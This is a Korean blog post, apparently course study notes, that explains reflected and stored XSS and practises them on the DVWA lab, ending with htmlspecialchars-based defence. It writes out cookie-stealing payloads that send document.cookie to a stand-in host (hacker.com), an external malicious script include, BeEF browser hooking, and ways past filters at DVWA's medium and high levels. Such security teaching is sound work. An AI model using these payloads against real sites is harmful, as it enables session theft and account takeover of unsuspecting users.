[ 크로스사이트스크립팅(XSS) 공격이란? ]
- 자바스크립트 : 웹 애플리케이션에서 사용되는 언어로 동적인 기능을 구현함.
▶ <script>스크립트코드</script> 의 형태로 구현
- <script>document.location='http://hacker.com/cookie?'+document.cookie</script> : 쿠키를 빼낼 때 사용 가능
- <script src=http://hacker.com/bad.js></srcipt> : src 키워드를 이용하여 외부의 자바 스크립트를 페이지 내에 삽입하여 실행할 수 있고, 이를 이용하여 외부 해커 사이트에 올려둔 악성 스크립트를 실행할 수 있다.
- XSS 공격
스크립트 코드를 취약한 웹 애플리케이션을 통해 다른 사용자에게 전달하여 클라이언트 쪽의 웹 브라우저를 공격하는 방법. 어떤 웹 애플리케이션이 사용자가 입력한 그대로 출력할 경우, 안전 장치가 없다면 <script>와 같은 입력값이 그대로 웹페이지에 표시되면 위험하다.
해커는 스크립트 예제 등을 이용하여 사용자의 세션 쿠키를 알아내고, 알아낸 세션 쿠키를 이용해 웹을 접속하면 마치 그 사용자로 로그인한 것처럼 접속할 수 있다. 만약, 관리자 계정의 세션 쿠키를 빼낼 수 있게 되면 모든 관리자 기능을 수행할 수 있게 되어 심각한 상황을 초래할 수 있다.
Reflected XSS 공격)
우선 사용자에게 이메일 등으로 피싱을 한다. 이때 링크에 세션 쿠키를 빼내는 스크립트 코드를 심어둔다. 사용자가 이 링크를 클릭하면 스크립트 코드가 삽입된 요청이 웹 서버로 전송된다. 이때 앵무새와 같은 웹 애플리케이션은 스크립트 코드를 반사시켜 그대로 되돌려 준다.
그럼 웹 브라우저는 자동으로 스크립트 코드를 실행하게 되고, 쿠키를 해커에게 잘 전달해준다. 해커가 이 세션 쿠키를 사용하면 해당 사용자의 권한으로 접속할 수 있게 된다.
Stored XSS 공격)
이 공격은 해커가 피싱을 하는 것이 아니라 서버의 게시판이나 방명록 같은 곳에 글을 남긴다. 스크립트 코드를 남기는 것이 허용되어 있으면 해커는 스크립트 코드를 남길 수 있다. 이후 다른 사용자가 방명록을 방문하여 해커가 남긴 글을 읽게 된다. 이때 글에 저장되어 있던 스크립트 코드가 사용자에게 전달되고, 웹 브라우저는 자동으로 실행된다.
이후에는 Reflected XSS 공격과 마찬가지로 웹 브라우저는 쿠키를 해커에게 잘 전달해준다. 해커가 이 세션 쿠키를 사용하면 해당 사용자의 권한으로 접속할 수 있게 된다.
[ XSS 공격 실습 ]
Reflected XSS)
우선 DVWA의 XSS (Reflected)에 들어가면 이름을 입력하는 페이지가 나온다. 입력 칸에 alice라고 입력한 후 제출 버튼을 누르니 'Hello alice'라는 문구가 출력되었다. 입력값이 다시 그대로 리턴되는 경우이다.
XSS 공격의 취약점을 찾는 가장 좋은 방법은 입력칸에 스크립트 코드를 입력하는 것이다.
<script>alert(1)</script> 로 입력하고 제출 버튼을 눌렀을때 XSS 취약점이 있으면 오른쪽 화면과 같이 스크립트가 실행되는 것을 볼 수 있다. alert 함수에 의해 1이라는 값이 출력되었다. 이 말은 즉, 스크립트가 웹 브라우저에서 실행되었다는 뜻이고, XSS 공격이 가능하다는 뜻이다.
이번에는 입력칸에 <script>alert(document.cookie)</script> 를 입력해보자. 그 결과, 오른쪽 이미지와 같이 쿠키의 값이 출력된 것을 볼 수 있었다.
이러한 쿠키값을 해커가 관리하는 시스템으로 전달하는 실습을 진행해보자.
왼쪽 화면이 해커가 관리하는 호스트라고 가정. 터미널에 웹서버의 로그를 출력하기 위해서 다음 명령어를 입력한다.
tail -f /opt/lampp/logs/access log
현재 해커 호스트에 웹서버의 로그가 출력되고 있다. 이때, tail 명령어에 -f 옵션을 주어 사용하면 이후에 발생하는 로그가 아래에 출력될 것이다. 메모장을 하나 열어 다음과 같이 입력해준다.
<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>
document.loacation 코드를 사용하면 뒤에 명시된 사이트(이 실습에서는 해커 사이트)로 리다이렉트 시켜준다. document.cookie 코드를 이용하여 쿠키값을 찍어줄 수 있다.
이 코드를 DVWA의 입력칸에 넣어보자.
브라우저에서는 리다이렉트가 되었고, 해커 호스트 부분의 로그를 확인해보니 cookie 뒤에 security level 과 PHPSESSID라고 하는 쿠키값이 출력되었다. 따라서 해커는 XSS 공격에 당한 사용자의 쿠키를 빼낼 수 있게된다. 이렇게 빼낸 쿠키를 이용하여 사용자의 권한으로 웹 사이트를 접속할 수 있게 된다.
오른쪽 화면 홈페이지의 경우 리다이렉트가 직접 되어 사용자가 뭔가 이상함을 눈치챌 수 있도록 해두었지만 실제 해킹에서는 아무일도 없는 것처럼 만들 수 있다.
여기서 드는 의문은 어떠한 사용자가 입력칸에 직접 스크립트 코드를 입력할까? 하는 부분이다. 사실 아무도 직접 입력칸에 스크립트 코드를 입력하지는 않는다. 따라서 해커는 피싱을 이용하여 사용자가 이러한 요청을 자기도 모르게 하도록 만들어야 한다.
Stored XSS)
Stored XSS 공격은 스크립트 코드가 서버에 저장된 후에 스크립트가 나중에 실행된다는 점에서 Reflected 공격과 차이가 있다. 또한, Reflected 공격을 위해서는 피싱을 통해 사용자가 스크립트 코드를 전송시키도록 만들어야하지만, Stored 공격의 경우 해커가 직접 서버에 스크립트 코드를 삽입 시킨다. 한번 코드가 삽입되고 나면, 그 페이지를 방문하는 모든 사용자가 공격당할 수 있기 때문에 훨씬 더 위험한 공격이다.
이 공격에 사용되는 스크립트 코드는 Reflected XSS 공격에서 사용했었던 코드와 같다. 앞서 사용했었던 쿠키를 탈취하는 스크립트를 삽입해보자.
이름은 임의로 '테스트'라고 하고 메시지 부분에 스크립트를 삽입하려 하였으나, 방명록 글자수 입력 제한으로 인해 일부분이 잘리는 것을 볼 수 있었다. 이런 글자 제한이 있으면 간단하게 우회할 수 있다.
메시지 입력 부분에 마우스 오른쪽 클릭을 하면 Inspect Element가 있는데 이 부분을 클릭하면 오른쪽 이미지와 같은 화면이 나온다. 여기서 중간 부분에 글자수를 제한하는 maxlength 부분이 있는데 이를 50에서 500으로 변경한 후 다시 스크립트 코드를 붙여넣기 하면 모든 코드가 입력된 것을 볼 수 있다.
이렇게 방명록에 다음과 같이 입력한 후 제출하면 바로 스크립트가 실행되었다.
해커 호스트에서 로그를 확인해보자. 다시 DVWA에서 XSS (Stored)를 클릭하는 순간 스크립트 코드가 실행되면서 쿠키가 해커 호스트로 전달되었다. 방명록이 요청될 때마다 각 사용자의 쿠키 정보와 스크립트를 통해서 해커에게 전달된다. 해커는 한번의 공격으로 다수의 사용자들을 동시에 공격할 수 있다.
BeEF 프레임워크)
우선 BeEF 실습을 위해 설치 후, 칼리 리눅스에 있는 BeEF 아이콘을 클릭하여 접속한다.
(칼리 리눅스에서 BeEF에 처음 접속할 경우 두번정도 다시 껐다가 켜야 완전히 실행된다.)
BeEF는 웹 브라우저의 취약점을 공격하는데 유용한 틀이기 때문에 XSS 공격에서도 사용할 수 있다. 사진의 왼쪽 부분을 보면 Online Browsers 라는 파일이 있는데 지금은 아무것도 표시되어 있지 않지만, 만약 XSS 공격에 당한 클라이언트가 있으면 이 부분에 표시된다.
BeEF가 실행될때 터미널을 살펴보면 Hook 부분에 hook.js라는 파일을 사용하라고 나온다. 이를 XSS 공격에 취약한 곳에 삽입하면 BeEF에서 클라이언트를 컨트롤 할 수 있게 된다.
Example 부분에 있는 스크립트를 DVWA XSS(Reflected) 부분의 입력칸에 삽입한다.
이후 BeEF를 확인해보면 온라인 브라우저 폴더 아래에 호스트가 하나 생성되었다.
온라인 폴더에 있는 호스트를 클릭하면 왼쪽 사진과 같이 각정 정보를 볼 수 있다. 쿠키 정보도 이 부분에 포함되는 것을 확인할 수 있다. commands 탭에 가보면 온라인 브라우저의 호스트에 대해 각종 공격을 수행할 수 있다.
미디엄 단계)
Security level을 미디엄으로 변경후 XSS(Reflected)의 입력창에 간단한 스크립트 코드를 입력하고 제출하였다. 그 결과, 스크립트가 실행되지 않고 alert(1) 부분만 문자열로 출력되었다.
어떻게 대응했는지 소스코드를 살펴보자. str_replace 함수를 이용하여 스크립트 태그를 지우는 것을 볼 수 있었다. 스크립트 태그를 지우면 XSS 공격이 실행될 수 없기 때문이다.
하지만 이 경우, 스크립트 태그를 소문자로 검사하고 있다는 점이 문제이다. 만약에 스크립트 태그를 대문자로 입력하고 실행하면 스크립트가 문제없이 실행되는 것을 확인할 수 있었다. 더불어 현재 소스코드에서는 스크립트 코드를 한번만 지우고 있기 때문에 스크립트 사이에 스크립트 태그를 삽입한다면 충분히 실행 가능하다.
이렇게 간단한 스크립트가 실행되는 것이 확인되면, 거의 모든 공격이 가능하다고 볼 수 있다.
하이 단계)
Security level을 하이로 변경한 후 XSS(Reflected)의 입력칸에 앞서 미디엄 단계에서 실습했던 스크립트 코드를 넣어주었다. 이때, 스크립트 태그는 대문자로 작성하였다. 그 결과, 스크립트 실행이 되지 않는 것을 확인할 수 있었다.
소스코드를 확인해보니 정규식을 이용하여 대소문자를 구문하고 각 문자 사이에 시도되는 우회 공격도 모두 방어하고 있다. 이 경우는 script 태그를 잘 막고 있기 때문에 스크립트 태그를 이용한 공격은 불가능하다.
하지만 스크립트 태그만 막고 있기 때문에 XSS 공격 방법 중, html을 이용한 공격 방법을 활용하여 공격할 수 있다.
예를들어, 이미지 태그를 이용할 수 있다. 소스에 아무런 값이나 입력한 후 에러가 발생하면 그 뒤에 정의된 함수가 실행된다. window.location.assign을 이용하면 리다이렉트를 시킬 수 있는데, 이 구문의 경우 hacked.php라는 악성코드가 있는 페이지로 리다이렉트 된다.
입력 칸에 위 구문을 붙여넣기 한 결과, hacked.php 페이지로 리다이렉트 되었고 오른쪽 이미지와 같은 문구가 출력된 페이지를 볼 수 있다.
[ XSS 공격 대응 ]
Security level을 impossible 로 변경한 후 XSS (Reflected) 입력칸에 간단한 스크립트 구문을 입력해 주었다. 그 결과, 스크립트는 실행되지 않고 입력한 값이 그대로 문자열로 출력되는 것을 볼 수 있었다.
소스코드를 확인해보면 htmlspecialchars 라는 함수를 사용한다. 이 함수는 몇몇 특수문자를 html 엔티티로 변환한다.
PHP 공식 홈페이지에서 어떤 문자들이 변경되는지 알 수 있다. 이와 같이 변경되면, 웹 페이지에서는 특수문자로 표시되지만 기존의 특별한 기능은 수행하지 않는다.
다시 DVWA로 돌아가서 페이지 소스를 확인해볼 수 있는데 중간 부분에 Hello라고 적혀있는 줄을 자세히 살펴보자. 이 부분 중 script와 alert 사이에서 스크립트 태그에 사용되는 괄호 문자 '<' 혹은 '>' 가 전부 < 혹은 > 으로 변경된 것을 볼 수있었다.
이렇게 변경되면 페이지 상에서는 그냥 특수문자로 표시되지만, 실제로 스크립트가 실행되지는 않게 된다. 따라서 XSS 공격을 막기 위해서는 이와 같이 특수문자들을 제대로 변환시켜 주어야 한다. 또한, 인젝션 공격 방어 방식처럼 폼에 입력되어야 하는 형식을 철저하게 검사하는 것도 좋은 대응방법이 될 수 있다.
[참고자료] 인프런_화이트해커가 되기 위한 8가지 웹 해킹 기술
'Security > Web hacking' 카테고리의 다른 글
[논문 분석] 패스워드 매니저의 보안성 분석 (0) | 2023.01.23 |
---|---|
실전 웹 모의해킹 (0) | 2023.01.14 |
SQL 인젝션 공격 (1) (0) | 2023.01.09 |
CAPTCHA 공격 (0) | 2023.01.09 |
파일 업로드 공격 (0) | 2023.01.08 |